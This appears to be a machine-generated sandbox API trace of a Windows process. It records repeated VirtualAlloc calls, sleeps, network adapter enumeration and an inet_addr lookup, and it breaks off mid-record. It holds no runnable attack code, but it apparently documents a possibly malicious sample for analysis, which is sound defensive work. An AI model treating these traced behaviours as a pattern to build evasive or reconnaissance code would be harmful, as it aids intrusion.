	[0185.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e80000
	[0185.563] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2e30000
	[0185.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e90000
	[0185.563] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2f30000
	[0185.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea0000
	[0185.564] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3030000
	[0185.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1eb0000
	[0185.564] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3130000
	[0185.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1ec0000
	[0185.565] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3230000
	[0185.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1ed0000
	[0185.565] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3330000
	[0185.566] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee0000
	[0185.566] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3430000
	[0185.566] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1ff0000
	[0185.566] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3530000
	[0185.567] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2000000
	[0185.567] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3630000
	[0185.567] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2010000
	[0185.567] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3730000
	[0185.568] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2020000
	[0185.568] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3830000
	[0185.568] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2030000
	[0185.568] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3930000
	[0185.569] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2040000
	[0185.569] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3a30000
	[0185.569] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x21d0000
	[0185.569] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3b30000
	[0185.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x21e0000
	[0185.570] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3c30000
	[0185.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x21f0000
	[0185.571] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3d30000
	[0185.571] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2200000
	[0185.571] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3e30000
	[0185.572] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2210000
	[0185.572] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3f30000
	[0185.572] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2220000
	[0185.572] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4030000
	[0185.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4130000
	[0185.573] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4140000
	[0185.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4240000
	[0185.574] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4250000
	[0185.574] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4350000
	[0185.574] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4360000
	[0185.574] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4460000
	[0185.575] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4470000
	[0185.575] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4570000
	[0185.575] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4580000
	[0185.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4680000
	[0185.576] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4690000
	[0185.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4790000
	[0185.576] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x47a0000
	[0185.577] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x48a0000
	[0185.656] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x48b0000
	[0185.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x49b0000
	[0185.657] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x49c0000
	[0185.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4ac0000
	[0185.658] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4ad0000
	[0185.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4bd0000
	[0185.658] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4be0000
	[0185.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4ce0000
	[0185.659] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4cf0000
	[0185.659] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4df0000
	[0185.659] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4e00000
	[0185.660] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4f00000
	[0185.660] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4f10000
	[0185.660] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5010000
	[0185.660] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5020000
	[0185.661] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5120000
	[0185.661] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5130000
	[0185.661] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5230000
	[0185.662] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5240000
	[0185.662] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5340000
	[0185.662] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5350000
	[0185.663] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5450000
	[0185.663] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5460000
	[0185.663] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5560000
	[0185.663] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5570000
	[0185.664] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5670000
	[0185.664] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5680000
	[0185.664] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5780000
	[0185.665] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5790000
	[0185.665] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5890000
	[0185.665] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x58a0000
	[0185.666] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x59a0000
	[0185.666] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x59b0000
	[0185.666] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ab0000
	[0185.667] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ac0000
	[0185.667] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5bc0000
	[0185.667] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5bd0000
	[0185.667] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5cd0000
	[0185.668] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ce0000
	[0185.668] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5de0000
	[0185.668] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5df0000
	[0185.669] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ef0000
	[0185.669] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5f00000
	[0185.669] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6000000
	[0185.670] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6010000
	[0185.670] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6110000
	[0185.670] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6120000
	[0185.671] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6220000
	[0185.671] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6230000
	[0185.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6330000
	[0185.672] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6340000
	[0185.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6440000
	[0185.673] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6450000
	[0185.673] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6550000
	[0185.673] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6560000
	[0185.674] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6660000
	[0185.674] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6670000
	[0185.674] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6770000
	[0185.675] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6780000
	[0185.675] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6880000
	[0185.675] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6890000
	[0185.676] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6990000
	[0185.676] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x69a0000
	[0185.676] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6aa0000
	[0185.677] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ab0000
	[0185.677] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6bb0000
	[0185.677] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6bc0000
	[0185.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6cc0000
	[0185.678] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6cd0000
	[0185.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6dd0000
	[0185.679] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6de0000
	[0185.679] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ee0000
	[0185.679] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ef0000
	[0185.680] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ff0000
	[0185.680] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7000000
	[0185.681] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7100000
	[0185.681] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7110000
	[0185.681] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7210000
	[0185.682] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7220000
	[0185.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7320000
	[0185.682] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7330000
	[0185.683] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7430000
	[0185.683] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7440000
	[0185.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7540000
	[0185.684] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7550000
	[0185.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7650000
	[0185.685] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7660000
	[0185.685] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7760000
	[0185.685] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7770000
	[0185.686] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7870000
	[0185.686] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7880000
	[0185.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7980000
	[0185.687] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7990000
	[0185.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7a90000
	[0185.688] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7aa0000
	[0185.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7ba0000
	[0185.689] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7bb0000
	[0185.689] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7cb0000
	[0185.689] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7cc0000
	[0185.690] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7dc0000
	[0185.690] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7dd0000
	[0185.690] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7ed0000
	[0185.691] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee0000
	[0185.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7fe0000
	[0185.692] Sleep (dwMilliseconds=0x9c4) 
	[0188.477] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x233770*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x233770*=0x610) returned 0x6f
	[0188.858] VirtualAlloc (lpAddress=0x0, dwSize=0x610, flAllocationType=0x1000, flProtect=0x4) returned 0x7ff0000
	[0188.858] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x7ff0000, SizePointer=0x233770*=0x610 | out: AdapterAddresses=0x7ff0000*(Alignment=0x11000001c0, Length=0x1c0, IfIndex=0x11, Next=0x7ff0360, AdapterName="{ECF237EA-3AD2-4D35-B4FE-425EFF427D86}", FirstUnicastAddress=0x7ff0280, FirstAnycastAddress=0x0, FirstMulticastAddress=0x7ff02d0, FirstDnsServerAddress=0x7ff0330, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x44, [1]=0xb3, [2]=0x82, [3]=0x7, [4]=0x53, [5]=0xc7, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x11, ZoneIndices=([0]=0x11, [1]=0x11, [2]=0x11, [3]=0x11, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x7ff01c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xc7, [6]=0x5c, [7]=0xa7, [8]=0xc4, [9]=0x3d, [10]=0xc7, [11]=0x58, [12]=0x4a, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11c43dc7, FirstDnsSuffix=0x0), SizePointer=0x233770*=0x610) returned 0x0
	[0188.876] inet_addr (cp="192.168.0.21") returned 0x1500a8c0
	[0188.876] VirtualFree (lpAddress=0x7ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.877] VirtualAlloc (lpAddress=0x0, dwSize=0x7f8, flAllocationType=0x1000, flProtect=0x4) returned 0x7ff0000
	[0188.877] Sleep (dwMilliseconds=0x3e8) 
	[0190.498] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x233770*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x233770*=0x610) returned 0x6f
	[0190.641] VirtualAlloc (lpAddress=0x0, dwSize=0x610, flAllocationType=0x1000, flProtect=0x4) returned 0x8000000
	[0190.642] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x8000000, SizePointer=0x233770*=0x610 | out: AdapterAddresses=0x8000000*(Alignment=0x11000001c0, Length=0x1c0, IfIndex=0x11, Next=0x8000360, AdapterName="{ECF237EA-3AD2-4D35-B4FE-425EFF427D86}", FirstUnicastAddress=0x8000280, FirstAnycastAddress=0x0, FirstMulticastAddress=0x80002d0, FirstDnsServerAddress=0x8000330, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x44, [1]=0xb3, [2]=0x82, [3]=0x7, [4]=0x53, [5]=0xc7, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x11, ZoneIndices=([0]=0x11, [1]=0x11, [2]=0x11, [3]=0x11, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x80001c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xc7, [6]=0x5c, [7]=0xa7, [8]=0xc4, [9]=0x3d, [10]=0xc7, [11]=0x58, [12]=0x4a, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, 